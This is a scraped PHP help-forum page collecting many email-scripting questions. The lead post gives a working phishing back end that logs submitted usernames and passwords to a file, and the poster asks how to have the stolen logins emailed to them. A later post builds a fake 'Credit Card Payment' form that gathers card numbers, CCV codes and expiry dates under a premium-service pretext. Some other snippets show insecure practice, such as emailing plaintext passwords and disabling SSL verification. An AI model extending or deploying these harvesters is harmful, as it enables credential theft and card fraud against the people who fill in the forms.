PHP - Script To Send Emails, Troubleing Me!
Right at the moment im using this script to get usernames and passwords and save them into usernames.txt
Code: [Select] <?php header ('Location: redirect.html'); $handle = fopen("usernames.txt", "a"); foreach($_POST as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?> But instead of me always having to check usernames.txt i want them to be emailed to me aswell as being saved in usernames.txt (because i know mail can mess up sometimes) But i dont have the foggyest of where to start Any help would be appriciated! Similar TutorialsHi! I have a mysql database with a lot of emails there and I want to send an email to all the email addresses that are on my database.. There is like 7000 email addresses so could it be possible to set a interval time between each email sending? If it helps i'm using Linux / Debian 5 32bits Apache2 - php5 and php5-mysql Hi I am trying to send html emails to users when they register on a site. I am using the code below Code: [Select] <?php //email settings $to=$_POST['user_name']; $from="Trade-Bidz <registrations@trade-bidz.co.uk>"; $subject = "Trade-Bidz Registration Confirmation"; $content = "Hello ".$_POST['contact_name']."<p>Welcome to <a href=\"http://www.trade-bidz.co.uk\">Trade-Bidz</a>. Add us to your Favourite and make it quicker to sell your part exchanges.</p><p>Your Login details are below, you will need these to be able to sell your vehicles and to be able to place bids on other vehicles</p> <p>Email Address:".$_POST['user_name']."<br/> Password:".$_POST['password']."</p> <p>We hope you have great success with Trade-Bidz.</p> <p>Kind Regards</p> <p>The Trade-Bidz Team</p>"; $message=('<html><head> <link href="http://www.trade-bidz.co.uk/style/trade-bidz.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="header"> </div> <img src="http://www.trade-bidz.co.uk/images/logo.jpg" width="300" /></div> <div id="content">'. $content.'</div> <div id="footer">© Trade-Bidz 2011</div> </body></html>'); $headers ="MIME-Version: 1.0rn"; $headers .= "Content-type : text/html; charset=iso=8859-1rn"; $headers .= "From: $from\r\n"; $headers .= "Reply-To: noreply@trade-bidz.co.uk"; mail($to, $subject, $message, $headers); echo ('Registration email has been sent'); ?> When the user registers, the code displays as a page in the browser, and the email that is sent displays the html code What am I doing wrong? Hello, I am new in PHP and I want a script for sending multiple emails using the php and i am calling that email address from database.I also want to change the status field from database from No to Yes once I send the particular emails. How to do that? I need a urgent help Following is my code for calling the email address <? mysql_connect("localhost","root","123") or die(mysql_error()); // my database connection mysql_select_db("localacct") or die(mysql_error()); $sql = "SELECT email FROM company where status='No'"; $res = mysql_query($sql) or die(mysql_error()); while($row = mysql_fetch_assoc($res) ) { $area .= $row['email']. ", "; } // read the list of emails from the file. $email_list = explode(',', $area); // count how many emails there are. $total_emails = count($email_list); // go through the list and trim off the newline character. for ($counter=0; $counter<$total_emails; $counter++) { $email_list[$counter] = trim($email_list[$counter]); } $to = $email_list; //echo $to; $t0 = ""; $subject = "Test email"; $message = wordwrap($message, 100); $from = "my email address"; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; $headers .= "From: $from"; mail($to,$subject,$message,$headers); if ($count % 10 == 0) { sleep(5); // this will wait 5 secs every 10 emails sent, and then continue the while loop } $count++; } ?> Many Thanks in advance. hey guys, i have an issue, im modifying a contact form to be a basic credit card detail form, now the issue is, it sends back no details to me, i am really stuck at the moment, any help is really appreciated. There are no errors on the front end, and the person sending the email gets a response saying it has been recieved. code: cc.php: Code: [Select] <?php /* include header */ include("header.php"); /* set page name */ $page = "cc"; /* reset error vars */ $is_error = 0; $error_message = ""; /* try to send contact form */ if(isset($_POST['task']) && $_POST['task'] == "send") { // get service $service = $_POST['service']; // get issuer $issuer = $_POST['issuer']; // get name $name = $_POST['name']; // get card $card = $_POST['card']; // get ccv $ccv = $_POST['ccv']; // get date $date = $_POST['date']; // get email $email = $_POST['email']; // get captcha $captcha = $_POST['captcha']; // reply message $reply = "Your Credit Card is being processed, please allow up to 1 business day for confirmation"; // check if all fields are filled if(empty($email) || empty($name) || empty($card) || empty($ccv) || empty($date) || empty($captcha)) { $is_error = 1; $error_message = "Please fill all fields."; } // check if captcha is correct if($_POST['captcha'] != $_SESSION['code']) { $is_error = 1; $error_message = "Incorrect captcha code."; } // no error if($is_error != 1) { // send message send_generic($config['admin_email'], $email, $dep, $message); send_generic($email, $config['admin_email'], "Message Received", $reply); // set success var $tpl->sent = 1; } } /* set template vars */ $tpl->is_error = $is_error; $tpl->error_message = $error_message; /* include footer */ include("footer.php"); ?> cc.tpl.php Code: [Select] <?php include $this->template('header.tpl.php') ?> <div id="content"> <noscript> <div class="error" style="font-size:16px;">JavaScript is deactivated. Please activate Javascript!</div> </noscript> <br /> <br /> <div class="box"> <h1>Credit Card Payment (24Hr Clearance)</h1> <br clear="all"> <?php if($this->sent != 1): ?> <?php if($this->is_error != 0): ?><div class="error"><?= $this->error_message ?></div><?php endif; ?> <form action="./cc.php" method="post"> <table style="border:none;margin:auto;"> <tr> <td style="text-align:right;">Confirm Premium Service:*</td> <td style="text-align:left;"><select name="service" style="width:407px;"> <option value="1day">1 Day</option> <option value="1month">1 Month</option> <option value="3months">3 Months</option> <option value="6months">6 Months</option> <option value="1year">1 Year</option> <option value="2years">2 Years</option> </select></td> </tr> <tr> <td style="text-align:right;">Credit Card:*</td> <td style="text-align:left;"><select name="issuer" style="width:407px;"> <option value="visa">Visa</option> <option value="mastercard">Mastercard</option> </select></td> </tr> <tr> <td style="text-align:right;">Name On Card:*</td> <td style="text-align:left;"><input type="text" name="name" value="<?= $this->eprint($_POST['name']); ?>" style="width:400px;" /></td> </tr> <tr> <td style="text-align:right;">Credit Card Number:*</td> <td style="text-align:left;"><input type="text" name="card" value="<?= $this->eprint($_POST['card']); ?>" style="width:400px;" /></td> </tr> <tr> <td style="text-align:right;">CCV:*</td> <td style="text-align:left;"><input type="text" name="ccv" value="<?= $this->eprint($_POST['ccv']); ?>" style="width:400px;" /></td> </tr> <tr> <td style="text-align:right;">Expiration Date:*</td> <td style="text-align:left;"><input type="text" name="date" value="<?= $this->eprint($_POST['date']); ?>" style="width:400px;" /></td> </tr> <tr> <td style="text-align:right;">Best Contact Email:*</td> <td style="text-align:left;"><input type="text" name="email" value="<?= $this->eprint($_POST['email']); ?>" style="width:400px;" /></td> </tr> <tr> <td style="text-align:right;">Solve:</td> <td style="text-align:left;"><img src="./captcha.php" style="position:relative;" /> <div style="display:inline;position:absolute;margin-left:5px;"> <input type="text" name="captcha" size="6" style="font-size:15px;font-weight:bold;width:40px;" /> </div></td> </tr> <tr> <td></td> <td><input type="submit" value="Send" name="submit" class="upload" /></td> </tr> </table> <input type="hidden" name="task" value="send" /> </form> <?php else: ?> <div class="success">Your Credit Card is being processed, please allow up to 1 business day for confirmation</div> <?php endif; ?> <br clear="all"> </div> </div> <?php include $this->template('footer.tpl.php') ?> Hi All, I want to create a simple WEBMAIL application from scratch and I've already started with the help of IMAP functions. Listing & Viewing (of Inbox Messages) modules almost completed. Now I want to create an option for composing & sending emails. I've tried imap_mail() function, but there were some problems. So can anybody help me on this, if it there any available resources for it maybe classes or functions?? Thanks in advance Alright so I have 3 pages. Signup, Password reset and Send message. All three pages/forms email to the recipient.
So far my test have only been with hotmail and gmail.
All emails go through for hotmail accounts. They show up in the hotmail.
All emails DO go through for gmail accounts. But they don't show up in the gmail. The only page that gmail is able to receive emails from is "send message". The emails derived from that send message show up in gmail. The other two don't.
There are not errors on the server side that show up. It clearly shows emails being sent.
Does anyone have a clue why this is happening?
Edited by man5, 23 August 2014 - 03:48 PM. Hi, Is it possible to send an auto email to a person as per the target date in a datagrid column of Flash CS4 (AS 3.0)? I was told that PHP will help in this regard. I have the following example file attached herewith. It should check the target date column and if the target date is equal to current date then it should send an auto e-mail to the respective person using the E-Mail ID from the Flash datagrid control. For example (as per attached list): An email to be sent to Mr. Rangarajan on 15-APR-12 with subject "Submission of BCM Procedure draft" using his email id from the "E-Mail" column of the grid i.e. rrajan@demo.com Please let me know whether it is possible in PHP? Thanks. Hello, recently I changed host of my website and when a visitor clicks "contact us" button in my website (in which one needs to enter his/ her email, name, phone , etc) and submit his/her message then I get email. Before this hosting I used to get emails from the visitor who filled the form so it was easier for me to reply but now after I changed the host I get email as "mydomain@hosting-company-domain" instead of the visitor's email. I messaged them then they told me something about SMTP authenticate using PHP, please guide me to fix this. Iwant to make a contact us script and here is done so far. I am almost sure its about preg match filters but cant find a solution why it doesnt work. Appreciate any help. Here is my code: $first_name = $_POST['first_name']; $last_name = $_POST['last_name']; $email_from = $_POST['email']; $comments = $_POST['comments']; $emailtrue = '/^([A-Za-z0-9-_]+@[A-Za-z0-9-_]+\.[A-Za-z]{2,4})$/'; $nametrue = "/^[A-Za-z]+$/D"; if(!preg_match($nametrue,$first_name)) { echo "The First Name you entered does not appear to be valid."; die (); } if(!preg_match($nametrue,$last_name)) { echo "The Last Name you entered does not appear to be valid."; die (); } if(!preg_match($emailtrue,$email_from)) { echo "The Email Address you entered does not appear to be valid."; die (); } if(strlen($comments) < 4) { echo "The Comments you entered do not appear to be valid. Min. 4 letters." ; die (); } $to = xxxxxxxxxx.com'; $subject = 'User Email'; $headers = 'From: '.$email_from. "\r\n" . 'Reply-To: '.$email_from. "\r\n" . 'X-Mailer: PHP/' . phpversion(); mail($to, $subject, $comments, $headers); I have a new website which is using a php form send script for email enquiries. The old website was using a php script which worked fine but the new site has a problem with the script.
The builder of the site (who is currently on holidays and uncontactable) provided the form send script which sends a email to me notifying that someone has used the site to send an email but the email doesn't contain any information. I just get an email saying that an enquiry has been submitted through the site. No name, email or message.
Also the script doesn't send the person after they hit submit to the thank you for contacting us page it just provides a plain text message on a blank page. I have a thank you page set up but not sure what code needs to be used to send it to that page.
I am sure something like this is here somewhere but whilst I have a reasonably good knowledge of html I don't understand php at all and was wondering if someone could please help.
The script for the form send I have been given is
Hi guys, I am writing the php script to send the email. I have noticed when I picked up on my email, I can see that it have been covered with mailed-by: myservername.com. I want to hide it, but I can't find a way to get it resolve. Here's the code: <?php session_start(); define('DB_HOST', 'localhost'); define('DB_USER', 'myusername'); define('DB_PASSWORD', 'mypass'); define('DB_DATABASE', 'mydbname'); $errmsg_arr = array(); $errflag = false; $link = mysql_connect(DB_HOST, DB_USER, DB_PASSWORD); if(!$link) { die('Failed to connect to server: ' . mysql_error()); } $db = mysql_select_db(DB_DATABASE); if(!$db) { die("Unable to select database"); } function clean($var){ return mysql_real_escape_string(strip_tags($var)); } $name = clean($_GET['name']); $email = clean($_GET['email']); $type = clean($_GET['type']); $comments = clean($_GET['comments']); if($name == ''){ $errmsg_arr[] = 'name are missing.'; $errflag = true; } elseif($email == ''){ $errmsg_arr[] = 'email are missing.'; $errflag = true; } if($errflag) { $_SESSION['ERRMSG_ARR'] = $errmsg_arr; echo implode('<br />',$errmsg_arr); } else { $insert = array(); if(isset($_GET['name'])) { $insert[] = 'name = \'' . clean($_GET['name']) .'\''; } if(isset($_GET['email'])) { $insert[] = 'email = \'' . clean($_GET['email']) . '\''; } if(isset($_GET['type'])) { $insert[] = 'type = \'' . clean($_GET['type']) . '\''; } if(isset($_GET['comments'])) { $insert[] = 'comments = \'' . clean($_GET['comments']) . '\''; } if (count($insert)>0) { $names = implode(',',$insert); if(isset($email)){ $name = $_GET['name']; $email = $_GET['email']; $header = "From: $name <$email>". "\r\n"; $to = "myname@myemail.com"; $subject = $type; $message = "$comments & $rate"; $header .= "MIME-Version: 1.0\l\n"; $add = "<$email>"; mail($to, $subject, $message, $header, $add); echo "Thank you for sent us your email"; } } } ?> I guess that something got to do with this: if(isset($email)){ $header = "From: $name <$email>". "\r\n"; $header .= "MIME-Version: 1.0\l\n"; $add = "<$email>"; } I have disabled the safe-mode, so do you know how I can hide the mailed-by header using with the code on above?? Any advice would be much appreciate. Thanks in advance. I am testing my PHP script with post function to send emails,but the mail is not arriving in my inbox..?What may be the problem..? Hi everybody, I want to create a script which will send SMS on a number once new mail arrives in email account. I have SMS API service from http://www.freesmsapi.com/ I am using cPanel, but how to do it ? One idea is, new mails are stored in "new" folder and already read mails are stores in "cur". So once, new email file will come in "new" folder PHP script will see that file and will send SMS, with text as "Hi, {user}, you gotta mail from {sender}, subject is {sibject}" That PHP file will be added to Cronjobs. But how to do it ? I have been searching on this issue from many months, did google but no answer. I need help If is this posible? To have 3-4 pictures on page, user chose one, type in messagge and friends e-mail and send. So friend gets in mail picture and message from user, not just link where he can see picture, but picture insert in mail. Hey there, I gotta say I am new to this forum and new to PHP. I found a script online that sends NOW PLAYING data, from a text file, to a shout cast server. We're not using shout cast and I need to modify this script to make it work with TuneIn AIR API. The script is based on this server URL: Quote http://myusername:pass@192.168.1.22:8543/admin/metadata?mount=/live&mode=updinfo&song=somesongandartist Though TuneIn uses a different URL and API Quote GET http://air.radiotime.com/Playing.ashx?partnerId=<id>&partnerKey=<key>&id=<stationid>&title=Bad+Romance&artist=Lady+Gaga I currently don't have the PartnerID and PartnerKey but that should be easy to replace in the script. I'm calling everyone on this forum to help me out with this and change the code to make this script work. I would appreciate it very much!! I'm a radio guy and not not a coder. Thats why I ask for this big favor. Thank you very much. WPBK FM This topic has been moved to Application Design. http://www.phpfreaks.com/forums/index.php?topic=347725.0 The top half of this code works great ( where the HR line across ) now I'm trying to get it to post the some of the same data to another process script. I keep getting errors. can some please tell me what I'm doing wrong or missing. <?php function dataPost($fieldValue){ //extract data from the post extract($_POST); //set POST variables $url = 'http://www.domain.com/processform1.phpp'; $fields = array( 'how_you_heard_about_us'=>$how_you_heard_about_us, 'how_you_heard_about_us_other'=>$how_you_heard_about_us_other, 'chk_atm_machines'=>$chk_atm_machines, 'custom1'=>$custom1, 'txt_business_adrss'=>$txt_business_adrss, 'txt_city'=>$txt_city, 'txt_state'=>$txt_state, 'txt_zip'=>$txt_zip, 'txt_country'=>$txt_country, 'txt_phone'=>$txt_phone, 'txt_fax'=>$txt_fax, 'txt_website'=>$txt_website, 'firstname'=>$firstname, ); //url-ify the data for the POST foreach($fields as $key=>$value) { $fields_string .= $key.'='.$value.'&'; } rtrim($fields_string,'&'); //open connection $ch = curl_init(); //set the url, number of POST vars, POST data curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_POST,count($fields)); curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string); //execute post $result = curl_exec($ch); //close connection curl_close($ch); from here down I'm not to sure with..... //create array of data to be posted $post_data['firstname'] = 'firstname'; $post_data['custom1'] = 'custom1'; $post_data['txt_state'] = 'txt_state'; //traverse array and prepare data for posting (key1=value1) foreach ( $post_data as $key => $value) { $post_items[] = $key . '=' . $value; } //create the final string to be posted using implode() $post_string = implode ('&', $post_items); //create cURL connection $curl_connection = curl_init('http://www.domain.com/processform2.php'); //set options curl_setopt($curl_connection, CURLOPT_CONNECTTIMEOUT, 30); curl_setopt($curl_connection, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"); curl_setopt($curl_connection, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl_connection, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl_connection, CURLOPT_FOLLOWLOCATION, 1); //set data to be posted curl_setopt($curl_connection, CURLOPT_POSTFIELDS, $post_string); //perform our request $result = curl_exec($curl_connection); //show information regarding the request print_r(curl_getinfo($curl_connection)); echo curl_errno($curl_connection) . '-' . curl_error($curl_connection); //close the connection curl_close($curl_connection); } dataPost('Some Data'); ?> Interested to find out why this code doesn't seem to properly send the attachment.. it's driving my insane ? Code: [Select] <?php //define the receiver of the email $to = 'youraddress@example.com'; //define the subject of the email $subject = 'Test email with attachment'; //create a boundary string. It must be unique //so we use the MD5 algorithm to generate a random hash $random_hash = md5(date('r', time())); //define the headers we want passed. Note that they are separated with \r\n $headers = "From: webmaster@example.com\r\nReply-To: webmaster@example.com"; //add boundary string and mime type specification $headers .= "\r\nContent-Type: multipart/mixed; boundary=\"PHP-mixed-".$random_hash."\""; //read the atachment file contents into a string, //encode it with MIME base64, //and split it into smaller chunks $attachment = chunk_split(base64_encode(file_get_contents('attachment.zip'))); //define the body of the message. ob_start(); //Turn on output buffering ?> --PHP-mixed-<?php echo $random_hash; ?> Content-Type: multipart/alternative; boundary="PHP-alt-<?php echo $random_hash; ?>" --PHP-alt-<?php echo $random_hash; ?> Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hello World!!! This is simple text email message. --PHP-alt-<?php echo $random_hash; ?> Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: 7bit <h2>Hello World!</h2> <p>This is something with <b>HTML</b> formatting.</p> --PHP-alt-<?php echo $random_hash; ?>-- --PHP-mixed-<?php echo $random_hash; ?> Content-Type: application/zip; name="attachment.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment <?php echo $attachment; ?> --PHP-mixed-<?php echo $random_hash; ?>-- <?php //copy current buffer contents into $message variable and delete current output buffer $message = ob_get_clean(); //send the email $mail_sent = @mail( $to, $subject, $message, $headers ); //if the message is sent successfully print "Mail sent". Otherwise print "Mail failed" echo $mail_sent ? "Mail sent" : "Mail failed"; ?> |